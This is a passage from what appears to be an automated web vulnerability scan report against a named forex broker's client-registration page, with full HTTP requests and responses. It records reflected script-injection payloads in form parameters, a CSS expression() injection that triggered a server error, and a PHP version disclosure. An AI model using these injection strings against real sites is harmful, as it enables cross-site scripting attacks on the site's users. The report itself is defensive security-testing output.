oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post"><input type="hidden" name="aData[accountKind]" value="6"><input type="hidden" name="aData[extManAnswer]" value="Yes"><input type="hidden" name="aData[FEEDBACK_URL]" value="-1"><input type="hidden" name="aData[HTTP_REFERER]" value="https://live-login.dukascopy.com/fo/register/live/index.php"><input type="hidden" name="aData[managedAccountStrategy]" value="1ABEM3"><input type="hidden" name="aData[serviceProvider]" value="BBAC47"><input type="hidden" name="aData[servProviderAnswer]" value="Yes"><input type="hidden" name="aData[STRAT_REF]" value="-1"><input type="hidden" name="aData[TYPE]" value="3"><input type="hidden" name="aData[ja0address]" value="3"><input type="hidden" name="aData[ja0city]" value="3"><input type="hidden" name="aData[ja0correspondanceAddress]" value="3"><input type="hidden" name="aData[ja0country]" value="3"><input type="hidden" name="aData[ja0dateBirth_day]" value="0"><input type="hidden" name="aData[ja0dateBirth_month]" value="0"><input type="hidden" name="aData[ja0dateBirth_year]" value="0"><input type="hidden" name="aData[ja0EMAIL]" value="netsparker@example.com"><input type="hidden" name="aData[ja0EMAIL_CONF_]" value="netsparker@example.com"><input type="hidden" name="aData[ja0HOLDER]" value="3"><input type="hidden" name="aData[ja0HOLDER_FIRST_NAME]" value="Ronald Smith"><input type="hidden" name="aData[ja0HOLDER_LAST_NAME]" value="Ronald Smith"><input type="hidden" name="aData[ja0lang]" value="french"><input type="hidden" name="aData[ja0martialstatus]" value="Married"><input type="hidden" name="aData[ja0mobilephone]" value="3"><input type="hidden" name="aData[ja0nationality]" value="3"><input type="hidden" name="aData[ja0NICKNAME]" value="Ronald Smith"><input type="hidden" name="aData[ja0phone]" value="3"><input type="hidden" name="aData[ja0placeBirth]" value="3"><input type="hidden" name="aData[ja0privatefax]" value="3"><input type="hidden" name="aData[ja0professionalfax]" value="3"><input type="hidden" name="aData[ja0title]" value="Mrs."><input type="hidden" name="aData[ja0workphone]" value="3"><input type="hidden" name="aData[ja0zipcode]" value="3"><input type="hidden" name="aData[jointAccIndex]" value="0"><input type="hidden" name="aData[ACCOUNT_TYPE_ID]" value="1"><input type="hidden" name="aData[PERSON_TYPE_ID]" value="1"><input type="hidden" name="aData[HOLDER]" value="3, "><input type="hidden" name="aData[EMAIL]" value="netsparker@example.com"><input type="hidden" name="aData[EMAIL_CONF_]" value="netsparker@example.com"><input type="hidden" name="aData[STATUS]" value="N"><input type="hidden" name="aData[UIN]" value="21uEQD5CAD"><input type="hidden" name="aData[LOGIN]" value="21uEQD5CAD"><input type="hidden" name="aData[IP]" value="173.193.214.243"><input type="hidden" name="backFormMarker" value=""><input type="hidden" name="currentFormMarker" value="'"--></style></script><script>netsparker(0x00057C)</script>"><input type="hidden" name="nextFormMarker" value=""><span style=display:none; id=hidHtmlConvert></span><script> function fFillFormField (oElement, value) { try { switch(oElement.tagName) { case "TEXTAREA": case "TEXT": document.getElementById('hidHtmlConvert').innerHTML = value; oElement.value = document.getElementById('hidHtmlConvert').innerHTML; // oElement.value = value; break; case "SELECT": oElement.value = value; bFound = false; for (i=0; i<oElement.options.length; i++) { if(oElement.options[i].value == value) { oElement.options[i].selected = true; bFound = true; break; } } if(value && !bFound) { oNew = document.createElement("OPTION"); oNew.value = value; oNew.innerHTML = value; oElement.appendChild(oNew); oElement.lastChild.selected = true; } break; default: if(oElement.length) { for(i=0;i<oElement.length;i++) { if(oElement[i].value == value) oElement[i].click(); else oElement[i].checked = false; } } else { if(oElement.type == "checkbox") oElement.click(); else { document.getElementById('hidHtmlConvert').innerHTML = value; oElement.value = document.getElementById('hidHtmlConvert').innerHTML; // oElement.value = value; } } break; } try { oElement.fireEvent("onchange"); } catch(e) { try { var evt = document.createEvent("HTMLEvents"); evt.initEvent("change",true,true); oElement.dispatchEvent( evt ); } catch(e){} } } catch(e){} } function fFillForm() {}</script></form>
</table>
<img id="progress_img" src="../../images/progress_bar.gif" width="69" height="17" border="0" style="display:none;">
</body>
</html>
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php?aData%5BaccountKind%5D=6&aData%5BextManA..

Parameters

Parameter Type Value
aData%5BaccountKind%5D GET 6
aData%5BextManAnswer%5D GET Yes
aData%5BFEEDBACK_URL%5D GET -1
aData%5BHTTP_REFERER%5D GET https://live-login.dukascopy.com/fo/register/live/index.php
aData%5BmanagedAccountStrategy%5D GET 1ABEM3
aData%5BserviceProvider%5D GET BBAC47
aData%5BservProviderAnswer%5D GET Yes
aData%5BSTRAT_REF%5D GET -1
aData%5BTYPE%5D GET 3
backFormMarker GET step1
currentFormMarker GET step2
next GET Next
nextFormMarker GET '"--></style></script><script>alert(0x00059F)</script>
aData%5Bja0address%5D GET 3
aData%5Bja0city%5D GET 3
aData%5Bja0correspondanceAddress%5D GET 3
aData%5Bja0country%5D GET 3
aData%5Bja0dateBirth_day%5D GET 0
aData%5Bja0dateBirth_month%5D GET 0
aData%5Bja0dateBirth_year%5D GET 0
aData%5Bja0EMAIL%5D GET netsparker@example.com
aData%5Bja0EMAIL_CONF_%5D GET netsparker@example.com
aData%5Bja0HOLDER%5D GET 3
aData%5Bja0HOLDER_FIRST_NAME%5D GET Ronald Smith
aData%5Bja0HOLDER_LAST_NAME%5D GET Ronald Smith
aData%5Bja0lang%5D GET french
aData%5Bja0martialstatus%5D GET Married
aData%5Bja0mobilephone%5D GET 3
aData%5Bja0nationality%5D GET 3
aData%5Bja0NICKNAME%5D GET Ronald Smith
aData%5Bja0phone%5D GET 3
aData%5Bja0placeBirth%5D GET 3
aData%5Bja0privatefax%5D GET 3
aData%5Bja0professionalfax%5D GET 3
aData%5Bja0title%5D GET Mrs.
aData%5Bja0workphone%5D GET 3
aData%5Bja0zipcode%5D GET 3
aData%5BjointAccIndex%5D GET 0
aData[accountKind] GET 6
aData[extManAnswer] GET Yes
aData[FEEDBACK_URL] GET -1
aData[HTTP_REFERER] GET https://live-login.dukascopy.com/fo/register/live/index.php
aData[ja0address] GET 3
aData[ja0city] GET 3
aData[ja0correspondanceAddress] GET 3
aData[ja0country] GET 3
aData[ja0dateBirth_day] GET 0
aData[ja0dateBirth_month] GET 0
aData[ja0dateBirth_year] GET 0
aData[ja0EMAIL] GET netsparker@example.com
aData[ja0EMAIL_CONF_] GET netsparker@example.com
aData[ja0HOLDER] GET 3
aData[ja0HOLDER_FIRST_NAME] GET Ronald Smith
aData[ja0HOLDER_LAST_NAME] GET Ronald Smith
aData[ja0lang] GET french
aData[ja0martialstatus] GET Married
aData[ja0mobilephone] GET 3
aData[ja0nationality] GET 3
aData[ja0NICKNAME] GET Ronald Smith
aData[ja0phone] GET 3
aData[ja0placeBirth] GET 3
aData[ja0privatefax] GET 3
aData[ja0professionalfax] GET 3
aData[ja0title] GET Mrs.
aData[ja0workphone] GET 3
aData[ja0zipcode] GET 3
aData[jointAccIndex] GET 0
aData[managedAccountStrategy] GET 1ABEM3
aData[serviceProvider] GET BBAC47
aData[servProviderAnswer] GET Yes
aData[STRAT_REF] GET -1
aData[TYPE] GET 3

Request

GET /fo/register/live/index.php?aData%5BaccountKind%5D=6&aData%5BextManAnswer%5D=Yes&aData%5BFEEDBACK_URL%5D=-1&aData%5BHTTP_REFERER%5D=https:%2f%2flive-login.dukascopy.com%2ffo%2fregister%2flive%2findex.php&aData%5BmanagedAccountStrategy%5D=1ABEM3&aData%5BserviceProvider%5D=BBAC47&aData%5BservProviderAnswer%5D=Yes&aData%5BSTRAT_REF%5D=-1&aData%5BTYPE%5D=3&backFormMarker=step1&currentFormMarker=step2&next=Next&nextFormMarker='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00059F)%3C/script%3E&aData%5Bja0address%5D=3&aData%5Bja0city%5D=3&aData%5Bja0correspondanceAddress%5D=3&aData%5Bja0country%5D=3&aData%5Bja0dateBirth_day%5D=0&aData%5Bja0dateBirth_month%5D=0&aData%5Bja0dateBirth_year%5D=0&aData%5Bja0EMAIL%5D=netsparker@example.com&aData%5Bja0EMAIL_CONF_%5D=netsparker@example.com&aData%5Bja0HOLDER%5D=3&aData%5Bja0HOLDER_FIRST_NAME%5D=Ronald%20Smith&aData%5Bja0HOLDER_LAST_NAME%5D=Ronald%20Smith&aData%5Bja0lang%5D=french&aData%5Bja0martialstatus%5D=Married&aData%5Bja0mobilephone%5D=3&aData%5Bja0nationality%5D=3&aData%5Bja0NICKNAME%5D=Ronald%20Smith&aData%5Bja0phone%5D=3&aData%5Bja0placeBirth%5D=3&aData%5Bja0privatefax%5D=3&aData%5Bja0professionalfax%5D=3&aData%5Bja0title%5D=Mrs.&aData%5Bja0workphone%5D=3&aData%5Bja0zipcode%5D=3&aData%5BjointAccIndex%5D=0&aData%5BaccountKind%5D=6&aData%5BextManAnswer%5D=Yes&aData%5BFEEDBACK_URL%5D=-1&aData%5BHTTP_REFERER%5D=https%3a%2f%2flive-login.dukascopy.com%2ffo%2fregister%2flive%2findex.php&aData%5Bja0address%5D=3&aData%5Bja0city%5D=3&aData%5Bja0correspondanceAddress%5D=3&aData%5Bja0country%5D=3&aData%5Bja0dateBirth_day%5D=0&aData%5Bja0dateBirth_month%5D=0&aData%5Bja0dateBirth_year%5D=0&aData%5Bja0EMAIL%5D=netsparker@example.com&aData%5Bja0EMAIL_CONF_%5D=netsparker@example.com&aData%5Bja0HOLDER%5D=3&aData%5Bja0HOLDER_FIRST_NAME%5D=Ronald%20Smith&aData%5Bja0HOLDER_LAST_NAME%5D=Ronald%20Smith&aData%5Bja0lang%5D=french&aData%5Bja0martialstatus%5D=Married&aData%5Bja0mobilephone%5D=3&aData%5Bja0nationality%5D=3&aData%5Bja0NICKNAME%5D=Ronald%20Smith&aData%5Bja0phone%5D=3&aData%5Bja0placeBirth%5D=3&aData%5Bja0privatefax%5D=3&aData%5Bja0professionalfax%5D=3&aData%5Bja0title%5D=Mrs.&aData%5Bja0workphone%5D=3&aData%5Bja0zipcode%5D=3&aData%5BjointAccIndex%5D=0&aData%5BmanagedAccountStrategy%5D=1ABEM3&aData%5BserviceProvider%5D=BBAC47&aData%5BservProviderAnswer%5D=Yes&aData%5BSTRAT_REF%5D=-1&aData%5BTYPE%5D=3 HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php?aData%5BaccountKind%5D=6&aData%5BextManAnswer%5D=Yes&aData%5BFEEDBACK_URL%5D=-1&aData%5BHTTP_REFERER%5D=&aData%5BmanagedAccountStrategy%5D=1ABEM3&aData%5BserviceProvider%5D=BBAC47&aData%5BservProviderAnswer%5D=Yes&aData%5BSTRAT_REF%5D=-1&aData%5BTYPE%5D=3&backFormMarker=step1&currentFormMarker=step2&next=Next&nextFormMarker=step3&aData%5BaccountKind%5D=6&aData%5BextManAnswer%5D=Yes&aData%5BFEEDBACK_URL%5D=-1&aData%5BHTTP_REFERER%5D=https%3a%2f%2flive-login.dukascopy.com%2ffo%2fregister%2flive%2findex.php&aData%5Bja0address%5D=&aData%5Bja0city%5D=&aData%5Bja0correspondanceAddress%5D=&aData%5Bja0country%5D=&aData%5Bja0dateBirth_day%5D=0&aData%5Bja0dateBirth_month%5D=0&aData%5Bja0dateBirth_year%5D=0&aData%5Bja0EMAIL%5D=&aData%5Bja0EMAIL_CONF_%5D=&aData%5Bja0HOLDER%5D=&aData%5Bja0HOLDER_FIRST_NAME%5D=&aData%5Bja0HOLDER_LAST_NAME%5D=&aData%5Bja0lang%5D=french&aData%5Bja0martialstatus%5D=Married&aData%5Bja0mobilephone%5D=&aData%5Bja0nationality%5D=&aData%5Bja0NICKNAME%5D=&aData%5Bja0phone%5D=&aData%5Bja0placeBirth%5D=&aData%5Bja0privatefax%5D=&aData%5Bja0professionalfax%5D=&aData%5Bja0title%5D=Mrs.&aData%5Bja0workphone%5D=&aData%5Bja0zipcode%5D=&aData%5BjointAccIndex%5D=0&aData%5BmanagedAccountStrategy%5D=1ABEM3&aData%5BserviceProvider%5D=BBAC47&aData%5BservProviderAnswer%5D=Yes&aData%5BSTRAT_REF%5D=-1&aData%5BTYPE%5D=3
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: live-login.dukascopy.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:29:53 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post"><input type="hidden" name="aData[accountKind]" value="6"><input type="hidden" name="aData[extManAnswer]" value="Yes"><input type="hidden" name="aData[FEEDBACK_URL]" value="-1"><input type="hidden" name="aData[HTTP_REFERER]" value="https://live-login.dukascopy.com/fo/register/live/index.php"><input type="hidden" name="aData[managedAccountStrategy]" value="1ABEM3"><input type="hidden" name="aData[serviceProvider]" value="BBAC47"><input type="hidden" name="aData[servProviderAnswer]" value="Yes"><input type="hidden" name="aData[STRAT_REF]" value="-1"><input type="hidden" name="aData[TYPE]" value="3"><input type="hidden" name="aData[ja0address]" value="3"><input type="hidden" name="aData[ja0city]" value="3"><input type="hidden" name="aData[ja0correspondanceAddress]" value="3"><input type="hidden" name="aData[ja0country]" value="3"><input type="hidden" name="aData[ja0dateBirth_day]" value="0"><input type="hidden" name="aData[ja0dateBirth_month]" value="0"><input type="hidden" name="aData[ja0dateBirth_year]" value="0"><input type="hidden" name="aData[ja0EMAIL]" value="netsparker@example.com"><input type="hidden" name="aData[ja0EMAIL_CONF_]" value="netsparker@example.com"><input type="hidden" name="aData[ja0HOLDER]" value="3"><input type="hidden" name="aData[ja0HOLDER_FIRST_NAME]" value="Ronald Smith"><input type="hidden" name="aData[ja0HOLDER_LAST_NAME]" value="Ronald Smith"><input type="hidden" name="aData[ja0lang]" value="french"><input type="hidden" name="aData[ja0martialstatus]" value="Married"><input type="hidden" name="aData[ja0mobilephone]" value="3"><input type="hidden" name="aData[ja0nationality]" value="3"><input type="hidden" name="aData[ja0NICKNAME]" value="Ronald Smith"><input type="hidden" name="aData[ja0phone]" value="3"><input type="hidden" name="aData[ja0placeBirth]" value="3"><input type="hidden" name="aData[ja0privatefax]" value="3"><input type="hidden" name="aData[ja0professionalfax]" value="3"><input type="hidden" name="aData[ja0title]" value="Mrs."><input type="hidden" name="aData[ja0workphone]" value="3"><input type="hidden" name="aData[ja0zipcode]" value="3"><input type="hidden" name="aData[jointAccIndex]" value="0"><input type="hidden" name="aData[ACCOUNT_TYPE_ID]" value="1"><input type="hidden" name="aData[PERSON_TYPE_ID]" value="1"><input type="hidden" name="aData[HOLDER]" value="3, "><input type="hidden" name="aData[EMAIL]" value="netsparker@example.com"><input type="hidden" name="aData[EMAIL_CONF_]" value="netsparker@example.com"><input type="hidden" name="aData[STATUS]" value="N"><input type="hidden" name="aData[UIN]" value="51QgJ3n9p9"><input type="hidden" name="aData[LOGIN]" value="51QgJ3n9p9"><input type="hidden" name="aData[IP]" value="173.193.214.243"><input type="hidden" name="backFormMarker" value=""><input type="hidden" name="currentFormMarker" value="'"--></style></script><script>netsparker(0x00059F)</script>"><input type="hidden" name="nextFormMarker" value=""><span style=display:none; id=hidHtmlConvert></span><script> function fFillFormField (oElement, value) { try { switch(oElement.tagName) { case "TEXTAREA": case "TEXT": document.getElementById('hidHtmlConvert').innerHTML = value; oElement.value = document.getElementById('hidHtmlConvert').innerHTML; // oElement.value = value; break; case "SELECT": oElement.value = value; bFound = false; for (i=0; i<oElement.options.length; i++) { if(oElement.options[i].value == value) { oElement.options[i].selected = true; bFound = true; break; } } if(value && !bFound) { oNew = document.createElement("OPTION"); oNew.value = value; oNew.innerHTML = value; oElement.appendChild(oNew); oElement.lastChild.selected = true; } break; default: if(oElement.length) { for(i=0;i<oElement.length;i++) { if(oElement[i].value == value) oElement[i].click(); else oElement[i].checked = false; } } else { if(oElement.type == "checkbox") oElement.click(); else { document.getElementById('hidHtmlConvert').innerHTML = value; oElement.value = document.getElementById('hidHtmlConvert').innerHTML; // oElement.value = value; } } break; } try { oElement.fireEvent("onchange"); } catch(e) { try { var evt = document.createEvent("HTMLEvents"); evt.initEvent("change",true,true); oElement.dispatchEvent( evt ); } catch(e){} } } catch(e){} } function fFillForm() {}</script></form>
</table>
<img id="progress_img" src="../../images/progress_bar.gif" width="69" height="17" border="0" style="display:none;">
</body>
</html>
Internal Server Error

Internal Server Error

1 TOTAL
LOW
CONFIRMED
1
The Server responded with an HTTP status 500. This indicates that there is a server-side error. Reasons may vary. The behavior should be analysed carefully. If Netsparker is able to find a security issue in the same resource it will report this as a separate vulnerability.

Impact

The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However there might be a bigger issue such as SQL Injection. If that's the case Netsparker will check for other possible issues and report them separately.

Remedy

Analyse this issue and review the application code in order to handle unexpected errors, this should be a generic practice which does not disclose further information upon an error. All errors should be handled server side only.
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php?aData%5BaccountKind%5D=6&aData%5BextManA..

Parameters

Parameter Type Value
aData[accountKind] GET 6
aData[extManAnswer] GET Yes
aData[FEEDBACK_URL] GET -1
aData[HTTP_REFERER] GET 3
aData[managedAccountStrategy] GET 1ABEM3
aData[serviceProvider] GET BBAC47
aData[servProviderAnswer] GET Yes
aData[STRAT_REF] GET </a style=x:expre/**/ssion(netsparker(0x000444))>
aData[TYPE] GET 3
backFormMarker GET 3
currentFormMarker GET step1
next GET Submit
nextFormMarker GET step2

Request

GET /fo/register/live/index.php?aData%5BaccountKind%5D=6&aData%5BextManAnswer%5D=Yes&aData%5BFEEDBACK_URL%5D=-1&aData%5BHTTP_REFERER%5D=3&aData%5BmanagedAccountStrategy%5D=1ABEM3&aData%5BserviceProvider%5D=BBAC47&aData%5BservProviderAnswer%5D=Yes&aData%5BSTRAT_REF%5D=%3C/a%20style=x:expre/**/ssion(netsparker(0x000444))%3E&aData%5BTYPE%5D=3&backFormMarker=3&currentFormMarker=step1&next=Submit&nextFormMarker=step2 HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: live-login.dukascopy.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Date: Thu, 17 Mar 2011 19:28:27 GMT
Server: Apache/2
Vary: accept-language,accept-charset
Accept-Ranges: bytes
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Language: en


<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>Server error!</title><link rev="made" href="mailto:%5bno%20address%20given%5d" /><style type="text/css"><!--/*--><![CDATA[/*><!--*/ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/*]]>*/--></style></head><body><h1>Server error!</h1><p> The server encountered an internal error and was unable to complete your request. </p><p> Error message: <br />Premature end of script headers: index.php </p><p>If you think this is a server error, please contactthe <a href="mailto:%5bno%20address%20given%5d">webmaster</a>.</p><h2>Error 500</h2><address> <a href="/">live-login.dukascopy.com</a><br /> <span>Thu Mar 17 19:28:27 2011<br /> Apache/2</span></address></body></html>
PHP Version Disclosure

PHP Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

Impact

An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /fo/register/live/index.php

/fo/register/live/index.php

https://live-login.dukascopy.com/fo/register/live/index.php

Extracted Version

PHP/5.3.3

Request

GET /fo/register/live/index.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: live-login.dukascopy.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:24:21 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
